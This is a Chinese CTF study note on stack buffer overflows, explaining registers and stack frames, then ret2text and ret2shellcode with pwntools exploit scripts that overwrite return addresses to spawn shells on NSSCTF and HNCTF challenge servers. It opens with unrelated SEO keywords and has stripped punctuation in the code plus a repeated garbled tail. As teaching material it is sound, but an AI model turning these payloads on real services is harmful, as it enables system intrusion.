开发区网站制作公司,wordpress 外链接口,网络广告包括,临海高端营销型网站建设地址pwn学习笔记#xff08;2#xff09;
1.三种常见的寄存器#xff1a;
ax寄存器#xff1a;通用寄存器#xff0c;可用于存放多种数据
bp寄存器#xff1a;存放的是栈帧的栈底地址
sp寄存器#xff1a;存放的是栈顶的地址
2.栈帧与栈工作的简介#xff1a…pwn学习笔记2
1.三种常见的寄存器
ax寄存器通用寄存器可用于存放多种数据
bp寄存器存放的是栈帧的栈底地址
sp寄存器存放的是栈顶的地址
2.栈帧与栈工作的简介
栈帧是存储函数的一些信息的地方栈帧存储有函数的局部变量传递给子函数的实际参数父函数的地址以及上一个栈帧栈底的地址大致情况如下 在函数调用的过程中首先会讲bp寄存器的值进行压栈以方便在恢复的时候恢复栈底寄存器的值再之后会按顺序将局部变量压栈最后是子函数的实际参数会按照先入栈的后出栈从最后一个实际参数先入栈再到第一个实际参数比如函数a(int a , int b)压栈的方式就是先压栈b的实际参数再压栈a的实际参数当这些压栈完成之后就可以压栈父函数调用子函数的那条语句的下一条语句的地址紧接着可以压栈当前栈帧的栈底地址了。
具体的汇编语言实现就不多做解释了因为我这里只是简述。
3.缓冲区溢出漏洞
缓冲区溢出楼哦对那个的本质就是向定长的缓冲区中写入了超长的数据造成了写入的数据覆盖了其他合法的内存区域。
4.栈溢出之–ret2text
1原理
ret2text应该是最简单的栈溢出漏洞利用的方式也是最简单的
假设在栈中存在如下情况
其C程序源代码如下
int overflow()
{char buf[8];gets(buf);
}当程序运行到gets的时候因为gets没有对用户输入的内容的长度进行限制就导致了本来最多输入8字节的内容结果输入了超过8字节的内容导致了溢出覆盖掉了bp寄存器以及返回地址的值如下 之后可以通过如上的原理将返回地址的值修改为程序自带的后门函数如system(“/bin/sh”)中即可。
2题目示例–[NSSCTF 2022 Spring Recruit]R3m4ke?
拿到ELF文件之后第一步应该先检查相关的保护因为保护这里还没有讲所以这里拿到的是一个只开了NX保护的题目该保护对这道题几乎没有什么影响。 这里可以看出这个文件是一个64位的小端序文件所以这里使用IDA进行反编译
这里可以很直观的发现该函数声明了一个32字节的变量之后通过gets()函数来写入内容但是却没有对长度进行相关的限制因此存在溢出漏洞这个时候就只需要找到后门函数的地址即可之后通过SheftF12找到/bin/sh这个字符串然后跟进发现它存在于一个叫做LookAtMe()这个函数中这里也可以直接从函数视图中找到后门 这里可以找到后门函数的地址及0x40072C因此这里就可以编写exp如下
from pwn import *
io remote(node4.anna.nssctf.cn,28043)
payload ba*0x28 p64(0x40072C)
io.sendline(payload)
io.interactive() 运行代码之后成功拿到了目标主机的shell 5.栈溢出之–ret2shellcode
1原理
该方法原理与ret2shellcode类似只是原本存在的后门没有了但是给了足够的可写入的地方于用户写入shellcode代码这里前期存在两种方法写入shellcode第一种是写入Stack中第二种是写入bss段准确地说必须当一个段中存在可写可执行的权限时才能进行ret2shellcode。
步骤大致是首先修改下一些配置信息比如context.arch当程序时64位时应该讲此修改为amd64之后让python程序自动生成一个shellcode或者去相应的地方找python的相关代码是shellcraft[.amd64].sh()之后通过asm()函数将生成的shllcode编译成机器码然后就是发送相关的垃圾数据之类的进行后续操作。
2题目案例–[HNCTF 2022 Week1]ret2shellcode
先查看它的保护类型 发现跟上一个一致这里可以简单说下NX保护NX保护是栈不可执行开启了这个保护之后在栈上写入的shellcode将不会因为我们修改的return address的值而执行因此我们可以把目标放到bss段上不过首先还是得确保bss段是否存在可执行权限。
对于这道题首先应该反编译得到伪代码 我们可以发现在main函数中这里并没有生命buff变量 但是这里却可以直接使用说明buff是在全局变量中进行的声明因此这里跟进这个变量发现其在bss段中 另外通过pwndbg的vmmap命令可以知道这段内存存在可执行的权限 因此这个题目的思路就很明了了首先是程序的分析通过写入字符串给s然后将s的内容复制给buff限制的s的写入长度长于256字节因此存在缓冲区溢出漏洞这里就很明了了代码如下
from pwn import *
io remote(node5.anna.nssctf.cn,28172)
context.arch amd64
shellcode asm(shellcraft.amd64.sh())
buff 0x4040A0
payload shellcode.ljust(0x108,bA) p64(buff)
io.sendline(payload)
io.interactive()最后成功拿到目标shell
x4040A0 payload shellcode.ljust(0x108,b’A’) p64(buff) io.sendline(payload) io.interactive() 最后成功拿到目标shell